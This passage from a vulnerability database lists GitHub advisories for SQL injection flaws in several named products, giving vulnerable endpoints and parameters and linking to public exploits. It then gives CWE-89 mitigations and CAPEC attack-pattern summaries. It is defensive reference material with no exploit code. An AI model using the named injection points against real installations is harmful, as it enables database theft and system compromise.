"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46429"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/7025"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32583"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/32162"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8F63-JH8R-7233
Vulnerability from github – Published: 2023-09-03 21:30 – Updated: 2023-09-03 21:30A vulnerability, which was classified as critical, was found in IBOS OA 4.5.5. This affects an unknown part of the file ?r=email/api/delDraft&archiveId=0 of the component Delete Draft Handler. The manipulation leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-238629 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2023-4740"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-03T20:15:14Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as critical, was found in IBOS OA 4.5.5. This affects an unknown part of the file ?r=email/api/delDraft\u0026archiveId=0 of the component Delete Draft Handler. The manipulation leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-238629 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-8f63-jh8r-7233",
"modified": "2023-09-03T21:30:24Z",
"published": "2023-09-03T21:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4740"
},
{
"type": "WEB",
"url": "https://github.com/RCEraser/cve/blob/main/sql_inject.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.238629"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.238629"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-8F72-JQ63-76J6
Vulnerability from github – Published: 2023-05-16 21:30 – Updated: 2024-04-04 04:12IDURAR ERP/CRM v1 was discovered to contain a SQL injection vulnerability via the component /api/login.
{
"affected": [],
"aliases": [
"CVE-2023-27742"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-16T20:15:09Z",
"severity": "CRITICAL"
},
"details": "IDURAR ERP/CRM v1 was discovered to contain a SQL injection vulnerability via the component /api/login.",
"id": "GHSA-8f72-jq63-76j6",
"modified": "2024-04-04T04:12:19Z",
"published": "2023-05-16T21:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27742"
},
{
"type": "WEB",
"url": "https://github.com/G37SYS73M/CVE-2023-27742"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8F7C-6XJW-JG8Q
Vulnerability from github – Published: 2023-03-03 21:30 – Updated: 2023-03-09 21:30Judging Management System v1.0 was discovered to contain a SQL injection vulnerability via the sid parameter at /php-jms/updateview.php.
{
"affected": [],
"aliases": [
"CVE-2023-24641"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-03T19:15:00Z",
"severity": "CRITICAL"
},
"details": "Judging Management System v1.0 was discovered to contain a SQL injection vulnerability via the sid parameter at /php-jms/updateview.php.",
"id": "GHSA-8f7c-6xjw-jg8q",
"modified": "2023-03-09T21:30:18Z",
"published": "2023-03-03T21:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24641"
},
{
"type": "WEB",
"url": "https://github.com/594238758/mycve/blob/main/judging-management-system/SQLi-1.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8F7X-6MJ4-C65F
Vulnerability from github – Published: 2024-04-16 15:30 – Updated: 2024-04-16 15:30The WooCommerce Google Feed Manager plugin for WordPress is vulnerable to SQL Injection via the 'id' parameter in all versions up to, and including, 2.4.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This can also be used by unauthenticated attackers to inject malicious web scripts.
{
"affected": [],
"aliases": [
"CVE-2024-3067"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-16T13:15:11Z",
"severity": "HIGH"
},
"details": "The WooCommerce Google Feed Manager plugin for WordPress is vulnerable to SQL Injection via the \u0027id\u0027 parameter in all versions up to, and including, 2.4.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This can also be used by unauthenticated attackers to inject malicious web scripts.",
"id": "GHSA-8f7x-6mj4-c65f",
"modified": "2024-04-16T15:30:24Z",
"published": "2024-04-16T15:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3067"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-product-feed-manager/trunk/includes/user-interface/class-wppfm-feed-editor-page.php#L34"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3070663%40wp-product-feed-manager\u0026new=3070663%40wp-product-feed-manager\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/37bfb60d-8e2d-4c77-880c-3d17a6a434b8?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8F8C-CJJM-R529
Vulnerability from github – Published: 2022-05-02 00:10 – Updated: 2022-05-02 00:10SQL injection vulnerability in leggi.php in geccBBlite 2.0 allows remote attackers to execute arbitrary SQL commands via the id parameter.
{
"affected": [],
"aliases": [
"CVE-2008-4517"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-10-09T18:14:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in leggi.php in geccBBlite 2.0 allows remote attackers to execute arbitrary SQL commands via the id parameter.",
"id": "GHSA-8f8c-cjjm-r529",
"modified": "2022-05-02T00:10:55Z",
"published": "2022-05-02T00:10:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4517"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/45682"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/6677"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/4382"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/31585"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Strategy: Environment Hardening
- Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-28
Strategy: Output Encoding
- While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
- Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
- When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-109: Object Relational Mapping Injection
An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
CAPEC-110: SQL Injection through SOAP Parameter Tampering
An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
CAPEC-470: Expanding Control over the Operating System from the Database
An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
CAPEC-66: SQL Injection
This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.
CAPEC-7: Blind SQL Injection
Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.